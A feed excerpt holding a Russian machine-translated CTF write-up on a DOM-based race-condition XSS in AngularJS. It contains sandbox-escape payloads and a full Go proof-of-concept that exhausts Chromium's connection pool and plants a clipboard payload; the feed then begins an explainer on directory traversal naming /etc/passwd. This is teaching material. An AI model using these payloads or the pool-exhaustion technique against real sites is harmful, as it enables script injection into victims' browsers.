  &lt;p id=&quot;o134&quot;&gt;Например, при открытии будет выполнен следующий фрагмент &lt;code&gt;alert(1)&lt;/code&gt;. &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fn:3&quot; target=&quot;_blank&quot;&gt;3&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;ciB0&quot;&gt;&amp;lt;html ng-app&amp;gt;
  &amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
  &amp;lt;div ng-init=&amp;quot;constructor.constructor(&amp;#x27;alert(1)&amp;#x27;)()&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;8JKh&quot;&gt;Итак, вы можете подумать, что, вставив &lt;code&gt;ng-*&lt;/code&gt;атрибуты на страницу задания, мы сможем выдать предупреждение.&lt;br /&gt;Но это не относится к AngularJS.&lt;/p&gt;
  &lt;h2 id=&quot;target-of-event-listeners&quot;&gt;Цель прослушивателей событий&lt;/h2&gt;
  &lt;p id=&quot;2woX&quot;&gt;Чтобы разница была очевидна, я объясню уязвимость в рельсах-ujs ( &lt;a href=&quot;https://discuss.rubyonrails.org/t/cve-2023-23913-dom-based-cross-site-scripting-in-rails-ujs-for-contenteditable-html-elements/82468&quot; target=&quot;_blank&quot;&gt;CVE-2023-23913&lt;/a&gt; ). Эта уязвимость также зависит от существования элемента &lt;code&gt;contenteditable&lt;/code&gt;и может быть использована путем обмана, вставив жертву вредоносные данные в &lt;code&gt;contenteditable&lt;/code&gt;элемент.&lt;/p&gt;
  &lt;p id=&quot;jwIk&quot;&gt;В Rails-ujs они использовали &lt;code&gt;document.addEventListener(&amp;quot;click&amp;quot;...&lt;/code&gt;для обработки кликов вместо добавления прослушивателей событий к каждому элементу при загрузке страницы.&lt;/p&gt;
  &lt;p id=&quot;f3WA&quot;&gt;&lt;a href=&quot;https://github.com/rails/rails/blob/9caf1d77ee1644e8fc680195ff71a6d277213cf9/actionview/app/javascript/rails-ujs/utils/event.js#L71-L80&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;actionview/app/javascript/rails-ujs/utils/event.js&lt;/code&gt;строка 71-80&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;LMVT&quot;&gt;const delegate = (element, selector, eventType, handler) =&amp;gt; element.addEventListener(eventType, function(e) {
  [...]
})
&lt;/pre&gt;
  &lt;p id=&quot;BhQ8&quot;&gt;&lt;a href=&quot;https://github.com/rails/rails/blob/9caf1d77ee1644e8fc680195ff71a6d277213cf9/actionview/app/javascript/rails-ujs/index.js#L106-L107&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;actionview/app/javascript/rails-ujs/index.js&lt;/code&gt;строка 106-107&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;TThK&quot;&gt;  delegate(document, linkClickSelector, &amp;quot;click&amp;quot;, handleRemote)
  delegate(document, linkClickSelector, &amp;quot;click&amp;quot;, handleMethod)
&lt;/pre&gt;
  &lt;p id=&quot;z0Ai&quot;&gt;Используя &lt;code&gt;document.addEventListener&lt;/code&gt;, этот прослушиватель событий может получать события от любых элементов на странице, включая тот, который добавляется после загрузки рельсов-ujs.&lt;/p&gt;
  &lt;p id=&quot;votn&quot;&gt;Таким образом, CVE-2023-23913 можно использовать, просто обманом заставив жертву вставить вредоносные данные в &lt;code&gt;contenteditable&lt;/code&gt;элемент после загрузки страницы.&lt;/p&gt;
  &lt;p id=&quot;R14r&quot;&gt;Однако AngularJS добавляет прослушиватель событий к каждому элементу с &lt;code&gt;ng-*&lt;/code&gt;атрибутами после &lt;code&gt;DOMContentLoaded&lt;/code&gt;запуска события.&lt;/p&gt;
  &lt;p id=&quot;nfZF&quot;&gt;&lt;a href=&quot;https://github.com/angular/angular.js/blob/47bf11ee94664367a26ed8c91b9b586d3dd420f5/src/ng/directive/ngEventDirs.js#L59-L89&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;src/ng/directive/ngEventDirs.js&lt;/code&gt;строка 59-89&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;PgFa&quot;&gt;function createEventDirective($parse, $rootScope, $exceptionHandler, directiveName, eventName, forceAsync) {
  return {
    restrict: &amp;#x27;A&amp;#x27;,
    compile: function($element, attr) {
      [...]
      var fn = $parse(attr[directiveName]);
      return function ngEventHandler(scope, element) {
        element.on(eventName, function(event) {
          [...]
        });
      };
    }
  };
}
&lt;/pre&gt;
  &lt;pre id=&quot;iY1S&quot;&gt;  on: function jqLiteOn(element, type, fn, unsupported) {
    [...]
    var addHandler = function(type, specialHandlerWrapper, noEventListener) {
      var eventFns = events[type];

      if (!eventFns) {
        eventFns = events[type] = [];
        eventFns.specialHandlerWrapper = specialHandlerWrapper;
        if (type !== &amp;#x27;$destroy&amp;#x27; &amp;amp;&amp;amp; !noEventListener) {
          element.addEventListener(type, handle);
        }
      }

      eventFns.push(fn);
    };
    [...]
  },
&lt;/pre&gt;
  &lt;p id=&quot;ZCbt&quot;&gt;Это означает, что простая вставка следующих полезных данных на страницу задания не сработает.&lt;/p&gt;
  &lt;pre id=&quot;F0mp&quot;&gt;&amp;lt;div ng-app&amp;gt;&amp;lt;div ng-click=&amp;quot;constructor.constructor(&amp;#x27;alert(1)&amp;#x27;)()&amp;quot;&amp;gt;Click me&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;
&lt;/pre&gt;
  &lt;h2 id=&quot;html-loading-order&quot;&gt;Порядок загрузки HTML&lt;/h2&gt;
  &lt;p id=&quot;V74g&quot;&gt;Прежде чем идти дальше, я должен объяснить, как браузер загружает HTML-документ.&lt;/p&gt;
  &lt;p id=&quot;LtXH&quot;&gt;Браузер обычно загружает HTML-документ сверху вниз. &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fn:4&quot; target=&quot;_blank&quot;&gt;4&lt;/a&gt;&lt;br /&gt;Например:&lt;/p&gt;
  &lt;pre id=&quot;ZjFd&quot;&gt;&amp;lt;html&amp;gt;
  &amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;script&amp;gt;
    document.getElementById(&amp;quot;test&amp;quot;).innerHTML = &amp;quot;&amp;lt;h1&amp;gt;Hello world!&amp;lt;/h1&amp;gt;&amp;quot;;
  &amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;3T5a&quot;&gt;Предполагая, что приведенный выше HTML-код передается браузеру, браузер &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;сначала загружается, а затем позже оценивает JavaScript в &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;теге.&lt;/p&gt;
  &lt;figure id=&quot;jZZj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.ryotak.net/img/client-side-race-condition-top-to-bottom-arrow.png&quot; width=&quot;458&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9OQW&quot;&gt;Итак, если мы поменяем порядок &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;и &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, произойдет следующая ошибка:&lt;/p&gt;
  &lt;pre id=&quot;a5g2&quot;&gt;Uncaught TypeError: Cannot set properties of null (setting &amp;#x27;innerHTML&amp;#x27;)
    at [first line of the JavaScript]
&lt;/pre&gt;
  &lt;p id=&quot;URx9&quot;&gt;Это связано с порядком загрузки; когда &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;тег загружен и оценивается JavaScript, элемент &lt;code&gt;&amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt;&lt;/code&gt;еще не загружен.&lt;br /&gt;Итак, &lt;code&gt;document.getElementById(&amp;quot;test&amp;quot;)&lt;/code&gt;возвращается &lt;code&gt;null&lt;/code&gt;, и доступ к &lt;code&gt;innerHTML&lt;/code&gt;свойству невозможен.&lt;/p&gt;
  &lt;figure id=&quot;oLfp&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.ryotak.net/img/client-side-race-condition-loaded-areas.png&quot; width=&quot;1234&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;racing-with-the-angularjs&quot;&gt;Гонки с AngularJS&lt;/h2&gt;
  &lt;p id=&quot;QZgD&quot;&gt;Возвращаясь к задаче, у нас есть следующий HTML:&lt;/p&gt;
  &lt;pre id=&quot;Kft4&quot;&gt;&amp;lt;div contenteditable&amp;gt;
  &amp;lt;h1&amp;gt;Solvers:&amp;lt;/h1&amp;gt;
  [...]
&amp;lt;/div&amp;gt;
&amp;lt;script src=&amp;quot;https://angular-no-http3.ryotak.net/angular.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;Smfk&quot;&gt;Поскольку AngularJS оценивает &lt;code&gt;ng-*&lt;/code&gt;атрибуты и другие выражения после загрузки, мы должны вставить элемент с полезной нагрузкой XSS до загрузки AngularJS.&lt;/p&gt;
  &lt;p id=&quot;zx45&quot;&gt;Поскольку тег сценария размещается под &lt;code&gt;contenteditable&lt;/code&gt;элементом, AngularJS загружается после &lt;code&gt;contenteditable&lt;/code&gt;визуализации элемента. Таким образом, после рендеринга элемента, но до полной загрузки AngularJS,&lt;br /&gt;происходит задержка примерно 30 мс .&lt;code&gt;contenteditable&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;pKP6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.ryotak.net/img/client-side-race-condition-page-loading.png&quot; width=&quot;915&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;gCyA&quot;&gt;Это окно гонки слишком маленькое, чтобы его можно было использовать, но нам нужно обманом заставить жертву вставить данные в пределах этого временного окна.&lt;/p&gt;
  &lt;h2 id=&quot;the-intended-solution&quot;&gt;Предполагаемое решение&lt;/h2&gt;
  &lt;p id=&quot;xpn1&quot;&gt;30 мс достаточно при использовании состояния гонки, когда злоумышленник может неоднократно пытаться использовать эксплойт. Тем не менее, на этот раз нам нужно обманом заставить жертву вставить вредоносные данные в &lt;code&gt;contenteditable&lt;/code&gt;элемент.&lt;br /&gt;Поскольку трудно обманом заставить жертву вставить содержимое в пределах этого временного окна, нам нужно продлить его для гонки.&lt;/p&gt;
  &lt;p id=&quot;fIrT&quot;&gt;После предыдущего &lt;code&gt;Parse HTML&lt;/code&gt;раздела графика браузер должен получить AngularJS с удаленного хоста, если он еще не кэширован.&lt;/p&gt;
  &lt;figure id=&quot;SIk1&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.ryotak.net/img/client-side-race-condition-page-loading-with-fetch.png&quot; width=&quot;930&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Fgr7&quot;&gt;К счастью, существует способ задержки запросов за счет исчерпания пула соединений.&lt;br /&gt;В XS-Leaks Wiki есть &lt;a href=&quot;https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/&quot; target=&quot;_blank&quot;&gt;хорошее объяснение этой техники&lt;/a&gt; , поэтому я объясню ее краткое изложение здесь.&lt;/p&gt;
  &lt;p id=&quot;LagN&quot;&gt;В Chromium существуют жесткие ограничения на количество одновременных подключений.&lt;br /&gt;Для TCP оно ограничено 256 подключениями, как показано во фрагменте ниже. &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fn:5&quot; target=&quot;_blank&quot;&gt;5&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;Yi28&quot;&gt;&lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:net/socket/client_socket_pool_manager.cc;l=32-36;drc=a7593fca5ff13931eb14c3c91087cc20cf367e7c&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;net/socket/client_socket_pool_manager.cc&lt;/code&gt;строки 32-36&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;az19&quot;&gt;// Limit of sockets of each socket pool.
int g_max_sockets_per_pool[] = {
  256,  // NORMAL_SOCKET_POOL
  256   // WEBSOCKET_SOCKET_POOL
};
&lt;/pre&gt;
  &lt;p id=&quot;XoFI&quot;&gt;Поскольку пул соединений является общим для всех хостов, если мы откроем 256 соединений, которые не будут отключены (например, не отправив ответ), дальнейшие запросы не могут быть установлены, и браузер будет ждать, пока одно из этих соединений не будет закрыто. .&lt;/p&gt;
  &lt;figure id=&quot;9VXG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.ryotak.net/img/client-side-race-condition-connection-pool-1.png&quot; width=&quot;960&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yvXz&quot;&gt;Это полезно, чтобы приостановить загрузку AngularJS и продлить окно времени гонки, но нам все равно нужно открыть соединение с хостом страницы испытания. В противном случае страница задания не загрузится и &lt;code&gt;contenteditable&lt;/code&gt;элемент не будет отображен.&lt;br /&gt;Чтобы справиться с этим, мы можем отменить одно соединение после исчерпания пула соединений и открытия страницы вызова, а затем быстро открыть другое соединение.&lt;/p&gt;
  &lt;p id=&quot;Z6Ur&quot;&gt;При этом пул соединений работает следующим образом:&lt;/p&gt;
  &lt;ol id=&quot;1K6B&quot;&gt;
    &lt;li id=&quot;H2LV&quot;&gt;После исчерпания пула соединений дальнейшие соединения установить невозможно. Таким образом, страница испытания не будет загружаться.&lt;/li&gt;
    &lt;li id=&quot;4l0P&quot;&gt;Через несколько секунд после открытия страницы вызова мы отменяем одно соединение (①) и быстро открываем другое соединение (③). На этом этапе соединение со страницей вызова установлено (②), но браузеру все равно необходимо получить и проанализировать HTML.&lt;/li&gt;
    &lt;li id=&quot;PtvP&quot;&gt;После того как страница вызова получена и проанализирована, браузер ставит в очередь соединение с хостом файла AngularJS (②) и завершает соединение со страницей вызова. (①)&lt;/li&gt;
    &lt;li id=&quot;TYwU&quot;&gt;Поскольку на предыдущем шаге мы поставили в очередь другое соединение, пул соединений снова исчерпан, и файл AngularJS не будет получен.&lt;/li&gt;
    &lt;li id=&quot;ocRp&quot;&gt;На этом этапе &lt;code&gt;contenteditable&lt;/code&gt;элемент уже отрисован, поэтому жертва может вставить вредоносные данные, не торопясь.&lt;/li&gt;
    &lt;li id=&quot;EiXE&quot;&gt;Через несколько секунд отменим соединение, открытое на шаге 2 (①). При этом браузер может открыть соединение с хостом файла AngularJS (②) и оценить его содержимое. Поскольку жертва вставила вредоносные данные в &lt;code&gt;contenteditable&lt;/code&gt;элемент до загрузки AngularJS, он оценит вставленные выражения и &lt;code&gt;alert(document.domain)&lt;/code&gt;выполнится.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;CJGg&quot;&gt;Собрав все это вместе, эту проблему можно решить, используя следующий код: &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fn:6&quot; target=&quot;_blank&quot;&gt;6&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;HHp2&quot;&gt;package main

import (
        &amp;quot;fmt&amp;quot;
        &amp;quot;log&amp;quot;
        &amp;quot;net/http&amp;quot;
        &amp;quot;strconv&amp;quot;
        &amp;quot;time&amp;quot;
)

const(
  SERVER_IP = &amp;quot;&amp;quot;
)

func attack(w http.ResponseWriter, r *http.Request) {
        w.Header().Set(&amp;quot;Content-Type&amp;quot;, &amp;quot;text/html&amp;quot;)
        fmt.Fprintf(w, &amp;#x60;
&amp;lt;script&amp;gt;
async function fill_sockets(amount) {
        return new Promise((resolve, reject) =&amp;gt; {
                let count = 0;
                const intervalId = setInterval(() =&amp;gt; {
                        if(count &amp;gt;= amount) {
                                clearInterval(intervalId);
                                resolve();
                                return;
                        }
                        fetch(&amp;#x27;http://%s:&amp;#x27; + (28000 + count) + &amp;#x27;/sleep&amp;#x27;, {mode: &amp;quot;no-cors&amp;quot;, cache: &amp;quot;no-store&amp;quot;});
                        count++;
                }, 5);
        });
}

async function swap_connections(func, delay) {
        let timer = new AbortController();
        setTimeout(() =&amp;gt; {
                timer.abort();
                timer = new AbortController();
                setTimeout(() =&amp;gt; timer.abort(), delay*1000);
                fetch(&amp;#x27;http://%[1]s:28255/sleep&amp;#x27;, {mode: &amp;quot;no-cors&amp;quot;, cache: &amp;quot;no-store&amp;quot;, signal: timer.signal});
        }, 1000);
        fetch(&amp;#x27;http://%[1]s:28255/sleep&amp;#x27;, {mode: &amp;quot;no-cors&amp;quot;, cache: &amp;quot;no-store&amp;quot;, signal: timer.signal});
        func();
}

async function attack() {
        document.execCommand(&amp;quot;copy&amp;quot;);
        document.write(&amp;quot;Filling the connection pool...&amp;lt;br&amp;gt;&amp;quot;);
        await fill_sockets(255);
        document.write(&amp;quot;Opening the victim page...&amp;lt;br&amp;gt;&amp;quot;);
        swap_connections(() =&amp;gt; {
                window.open(&amp;#x27;https://ryotak-challenges.github.io/xss-chall-1/&amp;#x27;, &amp;#x27;_blank&amp;#x27;);
        }, 10);
}

document.addEventListener(&amp;#x27;copy&amp;#x27;, (e) =&amp;gt; {
        e.preventDefault();
        e.clipboardData.setData(&amp;#x27;text/html&amp;#x27;, &amp;#x27;&amp;lt;br&amp;gt;&amp;lt;div data-ng-app&amp;gt;{{constructor.constructor(&amp;quot;alert(document.domain)&amp;quot;)();}}&amp;lt;/div&amp;gt;&amp;#x27;);
        document.write(&amp;quot;Copied the payload&amp;lt;br&amp;gt;&amp;quot;);
});
&amp;lt;/script&amp;gt;
&amp;lt;button onclick=attack()&amp;gt;Attack&amp;lt;/button&amp;gt;&amp;#x60;, SERVER_IP)
}

func sleep(w http.ResponseWriter, r *http.Request) {
        time.Sleep(24 * time.Hour * 365)
}

func handleRequests() {
        http.HandleFunc(&amp;quot;/&amp;quot;, attack)
        http.HandleFunc(&amp;quot;/sleep&amp;quot;, sleep)

        for i := 1; i &amp;lt;= 256; i++ {
                go http.ListenAndServe(&amp;quot;:&amp;quot;+strconv.Itoa(28000+i), nil)
        }
        log.Fatal(http.ListenAndServe(&amp;quot;:28000&amp;quot;, nil))
}

func main() {
        handleRequests()
}
&lt;/pre&gt;
  &lt;figure id=&quot;vEPz&quot; class=&quot;m_column&quot;&gt;
    &lt;iframe src=&quot;https://www.youtube.com/embed/yk0NQoh-GxU?autoplay=0&amp;loop=0&amp;mute=0&quot;&gt;&lt;/iframe&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Iq4W&quot;&gt;Этот метод не ограничивается AngularJS; вместо этого его можно применить к любой библиотеке JavaScript со следующими условиями:&lt;/p&gt;
  &lt;ol id=&quot;PHpX&quot;&gt;
    &lt;li id=&quot;znLt&quot;&gt;Библиотека извлекает данные из DOM после загрузки страницы.&lt;/li&gt;
    &lt;li id=&quot;dBdJ&quot;&gt;Библиотека не игнорирует элементы внутри &lt;code&gt;contenteditable&lt;/code&gt;элемента.&lt;/li&gt;
    &lt;li id=&quot;Jzc7&quot;&gt;Пользователь библиотеки использует элемент &lt;code&gt;contenteditable&lt;/code&gt;и затем загружает библиотеку.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;Uwhd&quot;&gt;Также важно отметить, что некоторые поставщики считают, что разработчики, использующие библиотеки, обязаны не использовать библиотеки с элементом &lt;code&gt;contenteditable&lt;/code&gt;.&lt;/p&gt;
  &lt;h2 id=&quot;appendix-unintended-solutions&quot;&gt;Приложение: Непредвиденные решения&lt;/h2&gt;
  &lt;p id=&quot;oITa&quot;&gt;Выпуская испытание, я думал, что невозможно использовать это крошечное окно гонки, не расширив его с помощью описанной выше техники, или, по крайней мере, невозможно использовать его вручную. Тем не менее, воспользоваться этим можно, если очень постараться.&lt;/p&gt;
  &lt;figure id=&quot;JXSi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.ryotak.net/img/client-side-race-condition-page-loading.png&quot; width=&quot;915&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yhYN&quot;&gt;&lt;a href=&quot;https://twitter.com/LiveOverflow&quot; target=&quot;_blank&quot;&gt;@LiveOverflow&lt;/a&gt; и &lt;a href=&quot;https://twitter.com/stueotue&quot; target=&quot;_blank&quot;&gt;@stueotue&lt;/a&gt; нашли способ использовать это крошечное окно гонки:&lt;/p&gt;
  &lt;p id=&quot;CAYY&quot;&gt;&lt;a href=&quot;https://twitter.com/LiveOverflow&quot; target=&quot;_blank&quot;&gt;@LiveOverflow&lt;/a&gt; прислал решение, которое повторяет вставку, иногда выигрывая в этой гонке.&lt;/p&gt;
  &lt;figure id=&quot;ujgG&quot; class=&quot;m_column&quot;&gt;
    &lt;iframe src=&quot;https://www.youtube.com/embed/YEbYMnHt7r4?autoplay=0&amp;loop=0&amp;mute=0&quot;&gt;&lt;/iframe&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;evPF&quot;&gt;А &lt;a href=&quot;https://twitter.com/stueotue&quot; target=&quot;_blank&quot;&gt;@stueotue&lt;/a&gt; прислал решение, использующее перетаскивание, вдохновленное &lt;a href=&quot;https://medium.com/@renwa/the-underrated-bugs-clickjacking-css-injection-drag-drop-xss-cookie-bomb-login-logout-csrf-84307a98fffa&quot; target=&quot;_blank&quot;&gt;рецензией Renwa&lt;/a&gt; . Иногда он также выигрывает гонку, если время подобрано.&lt;/p&gt;
  &lt;figure id=&quot;I6Ro&quot; class=&quot;m_column&quot;&gt;
    &lt;iframe src=&quot;https://www.youtube.com/embed/dp-6vIEHstk?autoplay=0&amp;loop=0&amp;mute=0&quot;&gt;&lt;/iframe&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Fss3&quot;&gt;Оба решения превосходны, и я действительно впечатлен их креативностью.&lt;br /&gt;Этот вызов был первым вызовом XSS, который я разместил в своем аккаунте, поэтому для меня это был хороший урок: не стоит недооценивать креативность сообщества ;)&lt;/p&gt;
  &lt;hr /&gt;
  &lt;ol id=&quot;6kZQ&quot;&gt;
    &lt;li id=&quot;fn:1&quot;&gt;Вставленные данные вставляются в DOM, в отличие от значения в свойстве, &lt;code&gt;value&lt;/code&gt;таком как &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;тег. Например, вставка &lt;code&gt;&amp;lt;a href=&amp;quot;https://example.com&amp;quot;&amp;gt;Test&amp;lt;/a&amp;gt;&lt;/code&gt;в &lt;code&gt;contenteditable&lt;/code&gt;элемент as &lt;code&gt;text/html&lt;/code&gt;создаст &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;тег с &lt;code&gt;https://example.com&lt;/code&gt;атрибутом &lt;code&gt;href&lt;/code&gt;. &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fnref:1&quot; target=&quot;_blank&quot;&gt;↩︎&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;fn:2&quot;&gt;Интересно, что Firefox, похоже, использует подход с использованием списка разрешенных при очистке содержимого. Я думаю, что может быть способ обойти дезинфицирующее средство Chromium. &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fnref:2&quot; target=&quot;_blank&quot;&gt;↩︎&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;fn:3&quot;&gt;Если вы хотите узнать, почему &lt;code&gt;constructor.constructor(&amp;#x27;alert(1)&amp;#x27;)()&lt;/code&gt;используется вместо обычного &lt;code&gt;alert(1)&lt;/code&gt;, прочтите эту статью: &lt;a href=&quot;https://portswigger.net/research/dom-based-angularjs-sandbox-escapes&quot; target=&quot;_blank&quot;&gt;https://portswigger.net/research/dom-based-angularjs-sandbox-escapes &lt;/a&gt; &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fnref:3&quot; target=&quot;_blank&quot;&gt;↩︎&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;fn:4&quot;&gt;Есть некоторые исключения, например &lt;code&gt;defer&lt;/code&gt;атрибут тега &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, но я не буду объяснять их в этой статье. &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fnref:4&quot; target=&quot;_blank&quot;&gt;↩︎&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;fn:5&quot;&gt;Согласно XS-Leaks Wiki, UDP ограничен 6000 соединениями, поэтому, если HTTP/3 включен, вам может потребоваться открыть гораздо больше соединений, чтобы исчерпать пул соединений. &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fnref:5&quot; target=&quot;_blank&quot;&gt;↩︎&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;fn:6&quot;&gt;Чтобы предотвратить &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc9113#name-connection-reuse&quot; target=&quot;_blank&quot;&gt;повторное использование соединения HTTP/2&lt;/a&gt; , этот PoC использует 256 различных портов вместо отправки запросов на один и тот же порт. (Этот код немного грязный, но он работает!… по крайней мере, на моей машине.)  &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fnref:6&quot; target=&quot;_blank&quot;&gt;↩︎&lt;/a&gt;&lt;/li&gt;
  &lt;/ol&gt;

</content></entry><entry><id>papioss:iNDxf0MevOx</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/iNDxf0MevOx?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>Назад к основам: обход каталогов</title><published>2023-10-11T11:08:06.285Z</published><updated>2023-10-11T11:08:06.285Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/85/4f/854f0c7f-99e5-4a8c-8c9f-07943328da35.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://www.fastly.com/cimages/6pk8mg3yh2ee/5UzA6fFi064gdm6yTHRUdg/faecd13f5b4e48d4355b57725e312372/traveral_with_caption.png?auto=avif&quot;&gt;Назад к основам: введениеЭто вторая статья в серии, в которой мы рассмотрим основы различных типов уязвимостей и атак веб-приложений . В каждом посте мы предоставим подробное описание уязвимостей, покажем, как эти уязвимости эксплуатируются, обсудим реальные примеры и обсудим, как их предотвратить.</summary><content type="html">
  &lt;h1 id=&quot;rH2p&quot;&gt;Назад к основам: обход каталогов&lt;/h1&gt;
  &lt;p id=&quot;Wg9C&quot;&gt;&lt;strong&gt;Назад к основам: введение&lt;/strong&gt;&lt;em&gt;Это вторая статья в серии, в которой мы рассмотрим &lt;a href=&quot;https://www.fastly.com/blog/back-to-basics-os-command-injection&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;основы различных типов уязвимостей и атак веб-приложений&lt;/u&gt;&lt;/a&gt; . В каждом посте мы предоставим подробное описание уязвимостей, покажем, как эти уязвимости эксплуатируются, обсудим реальные примеры и обсудим, как их предотвратить.&lt;/em&gt;&lt;/p&gt;
  &lt;h2 id=&quot;what-is-directory-traversal&quot;&gt;Что такое обход каталога?&lt;/h2&gt;
  &lt;p id=&quot;33I0&quot;&gt;Обход каталога, также известный как «обход пути», представляет собой уязвимость веб-приложения, которая позволяет злоумышленникам получить доступ к нежелательным файлам в базовой файловой системе. В зависимости от того, как и где происходит обход, это может включать чтение произвольных файлов на веб-сервере или разрешение доступа на запись к произвольным файлам. Этот доступ может позволить злоумышленникам прочитать конфиденциальные данные или файлы, изменить данные приложения или получить полный контроль над веб-сервером.&lt;/p&gt;
  &lt;p id=&quot;JVPI&quot;&gt;Уязвимости обхода обычно описываются в зависимости от того, позволяют ли они читать файлы или записывать файлы. В следующих подразделах мы продемонстрируем влияние каждого из них.&lt;/p&gt;
  &lt;p id=&quot;nIo3&quot;&gt;&lt;strong&gt;Обход каталога, позволяющий читать произвольные файлы&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;3Go7&quot;&gt;Рассмотрим приложение, которое позволяет пользователю хранить фотографии, а затем получать их с помощью запроса GET, используя параметр имени файла, чтобы указать, какой файл нужно получить. Если приложение не включает защиту от обхода каталогов и создает путь к файлу, используя предоставленный параметр имени файла, можно получить произвольные файлы с базового веб-сервера. На рисунке 1 показана эта последовательность на практике:&lt;/p&gt;
  &lt;figure id=&quot;IZ65&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://www.fastly.com/cimages/6pk8mg3yh2ee/5UzA6fFi064gdm6yTHRUdg/faecd13f5b4e48d4355b57725e312372/traveral_with_caption.png?auto=avif&quot; width=&quot;1265&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cgk7&quot;&gt;Некоторые ограничения по-прежнему существуют, даже если приложение уязвимо для обхода, как описано ранее. Злоумышленник ограничен разрешениями приложения, поэтому если применяется модель наименьших привилегий, ограничивающая доступ приложения к веб-серверу, это может ограничить файлы, к которым злоумышленник может получить доступ с помощью уязвимости. Это одна из причин, почему полезные данные обхода часто используют /etc/passwd в качестве цели — файл должен быть доступен для чтения всем пользователям.&lt;/p&gt;
  &lt;p id=&quot;nAyQ&quot;&gt;Существуют и другие способы изолированной среды и ограничения доступа приложений, о которых мы поговорим далее в разделе «Предотвращение».&lt;/p&gt;
  &lt;p id=&quot;zfSl&quot;&gt;&lt;strong&gt;Обход каталога, позволяющий произвольную запись в файл&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;Jmng&quot;&gt;Рассмотрим то же самое приложение для хранения фотографий, но оно теперь позволяет пользователю давать имя каждой сохраняемой фотографии. При сохранении файла на диск приложение использует предоставленное имя для построения пути к файлу фотографии. При отсутствии достаточных средств защиты злоумышленник может добавить к указанному имени последовательности обхода (например, ../), контролируя, в каком каталоге хранится файл.&lt;/p&gt;
